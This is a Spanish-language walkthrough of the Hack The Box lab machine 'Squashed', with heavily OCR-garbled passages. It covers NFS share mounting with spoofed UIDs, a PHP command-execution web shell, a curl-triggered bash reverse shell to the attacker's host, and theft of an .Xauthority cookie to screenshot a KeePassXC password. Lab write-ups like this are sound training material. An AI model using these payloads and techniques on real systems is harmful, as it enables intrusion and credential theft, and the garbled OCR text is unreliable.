MAQUINA SQUASHED — HACK THE BOX
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Topics

- NFS port 2049 enumeration

- Creating users to gain access to shared resources

- Creation of malicious file in php (Remote Command Execution)
- Abusing .Xauthority file "6000 - Pentesting X11"

- Screenshot of logged in user (root

ENUMERACION Y RECONOCIMIENTO
Iniciamos comprobando conectividad con la host victima.

Sping -c 1 10.10.11.191

PING

1 : : . 1% | { E time Oms
rtt ' X/ 1.3 - 0

Tenemos conectividad con la maquina, resultado ttl 63 = Linux
Ahora realizare un escaneo de puestos con nmap

Snmap -p- --open -sCV -n -v —min-rate 5000 10.10.11.191 -oN Ports

STATE S C
open pe H 8.2pl1 Ubuntu 4ubuntu®.5

48add5b83a9fbchef7e8201lef6bfdeae ( )
b7896c0b20ed49b2c1867c2992741c1f (
a chde@8l)8t)6f?9f8(1405154f b (ED25519)
open | http Apache httpd 2.4.41 ((Ubuntu})
methods -
_  Supported M s: GET POST OPTIONS HEAD
_http-title: B -

- erver heédér A
111/tcp| open

rpcinfo

nfs_acl
nlockmgr
mountd
mountd
mountd

Puertos abiertos por el protocolo #TCP 22, 80, 111, 2049, 33075, 42519, 47247 y 58169
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Veamos las tecnologias que emplea la web

Swhatweb http://10.10.11.191

4.417, B

ntu)], IP[10.

Ahora aplicare un ligero reconocimiento con nmap para identificar posibles archivos o carpetas
gue pueda testear.

(ubuntu)'

.41 (ubuntu)"’

Los scripts de nmap me reporta posible sqli y directorios como css, images y js.
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Veamos el sitio web

http://10.10.11.191/

SETTER HOME  SERVICES ~ ABOUT  SHOP  CONTACT

FURNITURE

There are many variations of passages of Lorem Ipsum available, but
the maijority have suffered alteration in some fo

Reporte por parte de Wappalizer

Font scripts CDN

|3 Font Awesome 403 cdnjs

Cloudilare
Miscellaneous

oy

& FEopper JavaScript libraries

\J FancyBox 215

Web servers
Apache HTTP & |Query 330
w SRETETLE 24.41 = =E
Server
S |Query Migrate 3.0.1
Operating sysiems jQuery Ul 1.12.1
@ Ubuntu
© Swiper

Ul frameworks

3 Bootstrap 4.1.0

Después de realizar testeo sobre la web, no pude encontrar nada porque es una pdgina estatica
gue no me redirecciona a ningln lado, vemos la posible vulnerabilidad “SQLI” reportado por nmap.

NO RESULTS
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Volviendo analizar el documento de puertos abiertos, puedo observar un puerto no muy comdn en
las auditorias que es el puerto 2049/tcp NFS, vamos a consultar una pagina Autonomia Hacker
para ver qué es esto y cdmo podemos testear este puerto.

“El puerto 2049 es utilizado por el protocolo Network File System (NFS), que es un protocolo de
red utilizado para compartir sistemas de archivos entre computadoras en una red. NFS permite a
los clientes de la red acceder y montar sistemas de archivos remotos como si estuvieran en su
propia computadora local.”

Veamos si podemos testear este puerto, realizando enumeracidn de recursos compartidos a nivel
de red, esto lo aremos con la herramienta showmont

showmount -e 10.10.11.191
como yo no lo tengo lo instalare de la siguiente forma
sudo apt install nfs-common

ahora volveré a ejecutar

)

Tenemos recursos compartidos, por lo cual tratare de tréemelos a mi maquina atacante con la
herramienta mount en el directorio /mnt/

1- Creare un directorio con nombre Ross en /mnt/ y otro con nombre Web porque veo que el
directorio es /var/www/html

¥ sudo mkdir /mnt/

¥ sudo mkdir /mnt/

2- Ahora realizare una montura de tipo NFS en los directorios que cree, uno en cada
directorio

do mount -t

o mount -t

3- Ahora realizare enumeracion en estos directorios ya que los dos directorios del host
10.10.11.191, ahora estdn en mi maquina gracias a la montura realizada

Al parecer en el directorio Web, no tenemos capacidad para enumerar.

Raptor-Attack



root root
root root

x 1001 scanner
2017 www-data ¢

Web

a.
1

B S S S N S S S S 8

u

n-error
n-erro

DO e

2% IS

scanner

Tenemos todo el directorio completo del usuario Ross, pero regresando un poco al directorio
Web, vemos que no podemos entrar porque como propietario tiene un numero de
identificador 2017, pero este no es un problema ya que puedo saltarme esta restriccion,
creando un usuario con ese numero de identificador.

Command:

Useradd Kali
Usermod -u 2017 kali

grupos

De esta manera, podemos atravesar el directorio “Web”.
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html

Explotacion

Al parecer son los directorios del sitio web escaneado con nmap, eso quiere decir que
podemos intentar crear un archivo para poder ganar acceso a la maquina victima.

Primero creare un archivo de prueba con nombre test.txt

Veo que tengo éxito, pero cada cierto tiempo, existe una tarea que borra los archivos de ese
directorio, en realidad no se si me interpreta PHP por lo cual intentare crearme un archivo PHP
para ganar acceso a la maquina realizando pruebas.

Cmd.php
<?php

system(S_GET[‘cmd’]);
>

Reverse shell

» curl -s "http: .11.19 d.php?cmd 5 b+, tcp/10.10.16.14/4444+0

Resultados
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w/htm i
NER_U ntu : UNKNOWN group default glen
) : )

state UP group

ESCALADA DE PRIVILEGIOS

He ganado acceso a la maquina, ahora vere potenciales formas de ganar acceso como el usuario
root.

Después de realizar enumeracidn en la maquina victima, veo que no tengo acceso a los recursos
del usuario Ross porque yo estoy como el usuario alex, por lo cual creare un nuevo usuario desde
mi maquina atacante ya que yo tengo ese recurso montado en el directorio /mnt/, de esta manera
podre ver los recursos del usuario Ross

Sin permisos

1- Creamos usuario nuevo con el uid del propietario del archivo.

1001 scanner 57 B

2- Nos convertimos en el nuevo usuario e intentamos leer los recursos del usuario Ross
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Ahora que puedo leer los archivos del usuario Ross, existe un archivo con nombre .Xauthority que
me llama la atencidn, veamos qué es esto.

Xauthority. El archivo .Xauthority se encuentra en el directorio principal de cada usuario. Se usa
para almacenar credenciales en las cookies utilizadas por xauth para la autenticacion de XServer.
Una vez que una instancia de XServer (Xorg) se ha iniciado, la cookie se usa para autenticar las
conexiones especificas a esa pantalla concreta.

Bueno para entrar en contexto, si yo como atacante puedo ver este recurso .Xauthority puedo
llegar a lograr ver la pantalla del usuario logueado, por lo cual vere si existe algin usuario activo.

het ! 1%
up use

TTY FROM ' " LOGIN@ IDLE J " PCPU WHAT

it 1:57m 16.€

Un display puede entenderse como una sesidn de trabajo gréfica

Tenemos un usuario conectado, por lo cual podemos intentar ver su pantalla tomando una captura
de pantalla, la cuestién es que no podemos hacerlo desde el recurso compartido por lo cual
montare un servidor con paython3 en el home de ross para traérmelo a mi home de alex y desde
ahi intentar mi ataque

Ahora que tengo el archivo .Xauthority, voy a intentar leer el archivo ya que como propietario
soy yo.

Raptor-Attack



Buscare en Google una forma potencial para realizar capturas de pantalla de este usuario ya
gue esta logueado y activo.

Busqueda: Pentesting .Xauthority

https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11

existe un amanera de verificar conexion, con el siguiente comando

Verfy Connection

xdpyinfo -display <ip

xwininfe -root —tree -displa

xdpyinfo -display <ip>:<display>  xdpyinfo -display :0

xwininfo -root -tree -display <IP>:<display> xwininfo -root -tree -display :0

De los 2 métodos existentes, el que me llama la atencién al verificar conexién es el xwininfo, ya
gue me da el nombre de keepass, es un gestor de contrasenas, por lo cual posiblemente pueda
estarse usando keepass y podamos ver algun recurso al intentar tomar una captura de
pantalla.

) (has no name)

shell" "Gnom

10+10 +10+10

n-alarm-notif

Si consultamos un poco mas abajo, veremos el método Screenshots Capturing que me
permitird de alguna manera tomar una captura de pantalla del usuario ross.
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Screenshots capturing #

xwd -root -screen -silent -display <TargetIP: > screenshot.xwd

convert screenshot.xwd screenshot.png

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd

convert screenshot.xwd screenshot.png

xwd -root -screen -silent -display :0 > screenshot.xwd

convert screenshot.xwd screenshot.png

-root -screen -silent -display :0 = screenshot

BINGOOOOOOOO

Tenemos el screenshot de la pantalla del usuario Ross, como en la maquina no tengo la
herramienta convert, me traeré ese recurso a mi maquina de atacante para realizar esa
conversién de xwd a jpg.

lectura: sc

Realizo la conversion.
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root root = VMwareDnD|
raptor raptor =® bspwm_

raptor raptor Y polybar_mqueue. 1161
raptor raptor 1.8 M 3

Activities @ KeePassXC ~ Jun3 06:20

Passwords - KeePassXC x
Database Entries Groups Tools Help
[+ I =] & ¥ € o 5| o a Search (Ctri+F
EBEH fLELOLHO & @ A #& Search (Crrl+ o
Title ~ Username Password URL Notes

cah$mei7raiga

command

&/ o

General

Autotype Enabled
Searching Enabled

Expiration Never

Ahora que tengo la contrasefia del usuario root, voy a loguearme como el mismo con la
contrasefia encontrada.

global=
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